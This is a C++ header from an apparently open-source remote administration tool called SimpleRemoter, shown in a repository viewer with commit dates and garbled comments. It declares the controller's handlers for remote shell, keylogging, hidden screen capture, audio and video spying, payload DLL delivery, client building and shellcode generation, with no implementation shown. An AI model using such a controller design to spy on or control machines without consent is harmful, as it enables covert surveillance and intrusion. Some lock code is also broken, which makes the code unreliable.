Files
SimpleRemoter/server/2015Remote/2015RemoteDlg.h

273 lines
8.3 KiB
C
Raw Normal View History

// 2015RemoteDlg.h : ͷ<>ļ<EFBFBD>
//
#pragma once
#include "afxcmn.h"
#include "TrueColorToolBar.h"
#include "IOCPServer.h"
2019-01-13 00:04:50 +08:00
//////////////////////////////////////////////////////////////////////////
// <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
2019-02-04 17:49:59 +08:00
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
#define CLIENT_EXIT_WITH_SERVER 0
2025-05-29 19:49:05 +08:00
typedef struct DllInfo {
std::string Name;
Buffer* Data;
~DllInfo() {
SAFE_DELETE(Data);
}
}DllInfo;
#define ID_DYNAMIC_MENU_BASE 36500
2025-05-03 20:57:22 +08:00
//////////////////////////////////////////////////////////////////////////
#include <unordered_map>
#include <fstream>
enum {
MAP_NOTE,
MAP_LOCATION,
};
struct _ClientValue
{
char Note[64];
char Location[64];
char Reserved[128]; // Ԥ<><D4A4>
_ClientValue() {
memset(this, 0, sizeof(_ClientValue));
}
_ClientValue(const CString& loc, const CString& s) {
memset(this, 0, sizeof(_ClientValue));
strcpy_s(Note, s.GetString());
strcpy_s(Location, loc.GetString());
}
void UpdateNote(const CString& s) {
strcpy_s(Note, s.GetString());
}
void UpdateLocation(const CString& loc) {
strcpy_s(Location, loc.GetString());
}
const char* GetNote() const {
return Note;
}
const char* GetLocation() const {
return Location;
}
int GetLength() const {
return sizeof(_ClientValue);
}
};
typedef uint64_t ClientKey;
typedef _ClientValue ClientValue;
typedef std::unordered_map<ClientKey, ClientValue> ComputerNoteMap;
// <20><><EFBFBD><EFBFBD> unordered_map <20><><EFBFBD>ļ<EFBFBD>
void SaveToFile(const ComputerNoteMap& data, const std::string& filename);
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȡ unordered_map <20><><EFBFBD><EFBFBD>
void LoadFromFile(ComputerNoteMap& data, const std::string& filename);
//////////////////////////////////////////////////////////////////////////
enum
{
PAYLOAD_DLL_X86 = 0, // 32λ DLL
PAYLOAD_DLL_X64 = 1, // 64λ DLL
PAYLOAD_MAXTYPE
};
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
class CMy2015RemoteDlg : public CDialogEx
{
2025-05-03 20:57:22 +08:00
protected:
ComputerNoteMap m_ClientMap;
CString GetClientMapData(ClientKey key, int typ) {
EnterCriticalSection(&m_cs);
auto f = m_ClientMap.find(key);
CString r;
if (f != m_ClientMap.end()) {
switch (typ)
{
case MAP_NOTE:
r = f->second.GetNote();
break;
case MAP_LOCATION:
r = f->second.GetLocation();
break;
default:
break;
}
}
EnterCriticalSection(&m_cs);
return r;
}
void SetClientMapData(ClientKey key, int typ, const char* value) {
EnterCriticalSection(&m_cs);
switch (typ)
{
case MAP_NOTE:
m_ClientMap[key].UpdateNote(value);
break;
case MAP_LOCATION:
m_ClientMap[key].UpdateLocation(value);
break;
default:
break;
}
EnterCriticalSection(&m_cs);
}
// <20><><EFBFBD><EFBFBD>
public:
CMy2015RemoteDlg(CWnd* pParent = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
~CMy2015RemoteDlg();
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum { IDD = IDD_MY2015REMOTE_DIALOG };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
// ʵ<><CAB5>
protected:
HICON m_hIcon;
void* m_tinyDLL;
std::string m_superPass;
// <20><><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD>Ϣӳ<CFA2><EFBFBD><E4BAAF>
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
DECLARE_MESSAGE_MAP()
public:
void SortByColumn(int nColumn);
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
template<class T, int id, int Show=SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
T* Dlg = new T(this, ContextObject->GetServer(), ContextObject);
Dlg->Create(id, GetDesktopWindow());
Dlg->ShowWindow(Show);
ContextObject->hWnd = Dlg->GetSafeHwnd();
ContextObject->hDlg = Dlg;
return 0;
}
2019-01-18 17:37:15 +08:00
VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
2025-05-03 20:57:22 +08:00
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
CString ver, CString startTime, const std::vector<std::string> &v, CONTEXT_OBJECT* ContextObject);
VOID ShowMessage(CString strType, CString strMsg);
2019-01-18 17:37:15 +08:00
VOID CreatStatusBar();
VOID CreateToolBar();
VOID CreateNotifyBar();
VOID CreateSolidMenu();
int m_nMaxConnection;
BOOL Activate(const std::string& nPort,int nMaxConnection, const std::string& method);
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
void SendMasterSettings(CONTEXT_OBJECT* ctx);
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
MasterSettings m_settings;
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
2019-01-18 17:37:15 +08:00
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength);
// <20><>ʾ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
CWnd* m_pFloatingTip=nullptr;
CListCtrl m_CList_Online;
CListCtrl m_CList_Message;
void DeletePopupWindow();
CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
CTrueColorToolBar m_ToolBar;
2025-05-29 19:49:05 +08:00
std::vector<DllInfo*> m_DllList;
NOTIFYICONDATA m_Nid;
HANDLE m_hExit;
CRITICAL_SECTION m_cs;
BOOL isClosed;
CMenu m_MainMenu;
CBitmap m_bmOnline[13];
2025-07-24 04:20:39 +08:00
uint64_t m_superID;
2025-06-21 14:27:21 +08:00
bool CheckValid(int trail = 14);
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose();
void Release();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnOnlineMessage();
afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate();
afx_msg void OnAbout();
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
afx_msg void OnNotifyShow();
afx_msg void OnNotifyExit();
afx_msg void OnMainSet();
afx_msg void OnMainExit();
afx_msg void OnOnlineCmdManager();
afx_msg void OnOnlineProcessManager();
afx_msg void OnOnlineWindowManager();
afx_msg void OnOnlineDesktopManager();
afx_msg void OnOnlineAudioManager();
afx_msg void OnOnlineVideoManager();
afx_msg void OnOnlineFileManager();
afx_msg void OnOnlineServerManager();
afx_msg void OnOnlineRegisterManager();
2025-01-31 22:22:16 +08:00
afx_msg VOID OnOnlineKeyboardManager();
afx_msg void OnOnlineBuildClient();
afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenFileManagerDialog(WPARAM wParam,LPARAM lParam);
afx_msg LRESULT OnOpenTalkDialog(WPARAM wPrarm,LPARAM lParam);
afx_msg LRESULT OnOpenShellDialog(WPARAM wParam,LPARAM lParam);
afx_msg LRESULT OnOpenSystemDialog(WPARAM wParam,LPARAM lParam);
afx_msg LRESULT OnOpenAudioDialog(WPARAM wParam,LPARAM lParam);
afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam);
2025-01-31 22:22:16 +08:00
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
2025-06-08 15:38:41 +08:00
afx_msg LRESULT OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam);
2025-05-03 20:57:22 +08:00
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam);
2025-06-09 14:25:37 +08:00
afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam);
2025-07-05 22:26:01 +08:00
afx_msg LRESULT OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
virtual BOOL PreTranslateMessage(MSG* pMsg);
afx_msg void OnOnlineShare();
afx_msg void OnToolAuth();
afx_msg void OnToolGenMaster();
2025-05-03 20:57:22 +08:00
afx_msg void OnMainProxy();
afx_msg void OnOnlineHostnote();
2025-05-07 03:55:58 +08:00
afx_msg void OnHelpImportant();
afx_msg void OnHelpFeedback();
2025-05-29 19:49:05 +08:00
afx_msg void OnDynamicSubMenu(UINT nID);
afx_msg void OnOnlineVirtualDesktop();
afx_msg void OnOnlineGrayDesktop();
afx_msg void OnOnlineRemoteDesktop();
afx_msg void OnOnlineH264Desktop();
afx_msg void OnWhatIsThis();
afx_msg void OnOnlineAuthorize();
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineUnauthorize();
afx_msg void OnToolRequestAuth();
afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
afx_msg void OnToolInputPassword();
2025-07-24 04:20:39 +08:00
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
afx_msg void OnToolGenShellcode();
afx_msg void OnOnlineAssignTo();
};